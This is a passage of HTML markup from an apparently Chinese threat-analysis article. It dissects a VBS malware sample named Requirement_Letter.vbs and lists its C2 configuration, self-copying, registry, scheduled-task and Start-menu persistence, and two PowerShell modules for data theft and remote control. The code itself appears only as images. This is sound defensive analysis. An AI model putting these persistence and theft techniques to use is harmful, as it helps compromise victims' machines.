[]&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;_135editor&#34;,&#34;data-role&#34;:&#34;paragraph&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">捕获的恶意样本如下所示：</span></p><table style="width:566px;"><tbody><tr><td data-colwidth="126" style="border-color:#000000;"><p><span leaf="">MD5</span></p></td><td data-colwidth="440" style="border-color:#000000;"><p><span leaf="">668807209bfc094bb0e53653b9cd84ac</span></p></td></tr><tr><td data-colwidth="126" style="border-color:#000000;"><p><span leaf="">文件名称</span></p></td><td data-colwidth="440" style="border-color:#000000;"><p><span leaf="">Requirement_Letter.vbs</span></p></td></tr><tr><td data-colwidth="126" style="border-color:#000000;"><p><span leaf="">文件大小</span></p></td><td data-colwidth="440" style="border-color:#000000;"><p><span leaf="">80.65 KB (82582 bytes)</span></p></td></tr><tr><td data-colwidth="126" style="border-color:#000000;"><p><span leaf="">文件类型</span></p></td><td data-colwidth="440" style="border-color:#000000;"><p><span leaf="">vbs</span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;class&#34;:&#34;article135&#34;,&#34;label&#34;:&#34;edit by 135editor&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;class&#34;:&#34;_135editor&#34;,&#34;data-role&#34;:&#34;paragraph&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">1）脚本首先配置一下C2地址、计划任务名称、诱饵文档地址。</span></p></div></div><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21718602455146366" data-w="1059" style="width: 553.74px;height: 120.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=35f30288&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKPDrbCPwkSQIwxvuG45nwI83RffkSSRLM0SdTlZOXp74azpUicy4RBZQ6goU6nBbobU7MX8tDY1PFjZTYpAibv0V265XAuUbWIM%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">脚本进行是否已运行检测。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36425339366515835" data-w="1326" style="width: 553.74px;height: 201.74px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0bf62f1a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKlOs0hibpKYCcxvTtpmGiaY47uclH5rVU5lliaQf5IPa2Cxt220YF6HGpQqm7cLBCVXAG5PSlUf1HzfwHVWDwEt0LZ8nrUicoK2DI%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">获取AppData路径，在此创建安装目录。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37868162692847124" data-w="713" style="width: 553.74px;height: 209.67px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7c61829d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIlchK8zKHfXkKZ3BTP2JRCgcaG7axPbt0mPwLO1r0M4XiaNKRqT74ZkpkplPVImcHW1pfBrkjo7GIOE0pbtCQz9hBLsLLyEnz0%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">4）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">清理旧注册表。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1901840490797546" data-w="815" style="width: 553.74px;height: 105.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab87b4cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ5BdZhIw3buiapFRJIlE3seeiaDmxB4hZyOdDzvbTUWPXL5hl9VwPCSeXHPFFmhgVcHFezr1TB3OXKM4vpv073WKRhKot3fgTzk%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">5）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将自身复制到安装目录中，命名为“wupdate_helper.vbs”。</span></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 11.0pt;font-family: 等线;mso-fareast-font-family: &#39;等线&#39;;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;margin-left: 18.0pt;text-indent: 0.0pt;mso-char-indent-count: 0;mso-char-indent-size: 0pt;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.22967479674796748" data-w="984" style="width:553.739990234375px;height:127.1400146484375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=07567559&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKuVRgngOKaibr9ht3v0WGnRC1EARyC7vkwXBFIjkpPoCsv2ucsfFgml4bygibQiadBcgSSTTtF3Cl8g2GbgBcvw0iafEelvsaBdib8%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">6）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">设置注册表启动项。</span></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 11.0pt;font-family: 等线;mso-fareast-font-family: &#39;等线&#39;;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;margin-left: 18.0pt;text-indent: 0.0pt;mso-char-indent-count: 0;mso-char-indent-size: 0pt;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.17258883248730963" data-w="985" style="width:553.739990234375px;height:95.52996826171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=264b9f4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKSb3NAxsicE8nCAkFsEuqYhDhib34NNRmeOnkXoJpgdkjNiaskmoFc0cXDnOQybtThia5IIPBgsaEGQxbY36DyEda5OQ4ovCjz2gI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">7）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">进行计划任务设置。</span></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 11.0pt;font-family: 等线;mso-fareast-font-family: &#39;等线&#39;;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;margin-left: 18.0pt;text-indent: 0.0pt;mso-char-indent-count: 0;mso-char-indent-size: 0pt;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.13646288209606988" data-w="916" style="width:553.739990234375px;height:75.530029296875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=674f2821&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKaicQ7OWFM4KSnMPhnud1xNapZXNXicPI6nRAVY3RMCsdu8KhdMVTv02SrBtx6MGBGEwWVbQ1M29FKibicw5OuAo0geZ5VmrSco7I%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">8）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">设置开始菜单启动。</span><o:page></o:page></p><p style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;line-height: normal;mso-pagination: none;font-size: 10.5pt;mso-bidi-font-size: 11.0pt;font-family: 等线;mso-fareast-font-family: &#39;等线&#39;;mso-font-kerning: 1.0pt;font-weight: normal;mso-bidi-font-weight: normal;margin-left: 18.0pt;text-indent: 0.0pt;mso-char-indent-count: 0;mso-char-indent-size: 0pt;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35608856088560886" data-w="1084" style="width:553.739990234375px;height:197.20001220703125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f19784d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIpqYgKwe6IvPaL8oqVrBqKiavqan2llCib2ez9pP88xhbE0waMcB0aPM6bKibzM5lDluT5ibV5DyUicZbnNH5xlKHd3aycJul3bk6w%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">9）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">创建日志文件，用于记录最后一次执行时间。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.34265734265734266" data-w="715" style="width: 553.74px;height: 189.74px;" src="https://wechat2rss.xlab.app/img-proxy/?k=01006dd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJxjnWticgfdQzu8Em0f2AIJahCRePQMDBw65HX7Is4qF4syuRWj7tbCYH9RrmR8PiaiaPmZ8B3KjLM4osib0psLpbDvRu6scNBuzc%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-left: 18pt;text-indent: -18pt;"><span style="text-indent: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">10）</span></span><span style="text-indent: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">将恶意文件进行多位置</span></span><span style="text-indent: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">备份。</span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.34141201264488935" data-w="949" style="width: 553.74px;height: 189.07px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f0581bb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLu0kya4G2rLL72Nrzltia4jaticA9NJ6jXz20gDphVmBIACcCtLCERAia2p5hhFc9ZT1p1HdGZHlEg5akFyISic78XRPfRH9qUmQM%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">11）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本之后将创建两个核心ps1脚本。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3435897435897436" data-w="585" style="width: 553.74px;height: 190.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9f4de160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJjZRjkjnfwqPLJwQbr0IyPNbMEZbiccLeQf9rnyvzjdg6sJrlYib1jDGsB9picBEGib06Ms5DTy3JHUHppoUSD2P5t8OUmHicQCmhM%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-align: justify;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-left: 18pt;text-indent: -18pt;"><span style="text-indent: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">12）</span></span><span style="text-indent: 0px;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其中vps_transfer.ps1主要功能是窃密。</span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5871670702179177" data-w="826" style="width: 553.74px;height: 325.14px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1265a7c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKTQCqsyvFMicOs26KBN08qs6exHJqP9Y16yTGf43DezU7SkXRdEweiaHPL8L6mFPRU1zQDiclxOJV40OgN6YTZqzBPUYrIeDEuwU%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">13）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">vps_c2.ps1为远程控制模块。</span></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.29333333333333333" data-w="675" style="width: 553.74px;height: 162.4px;" 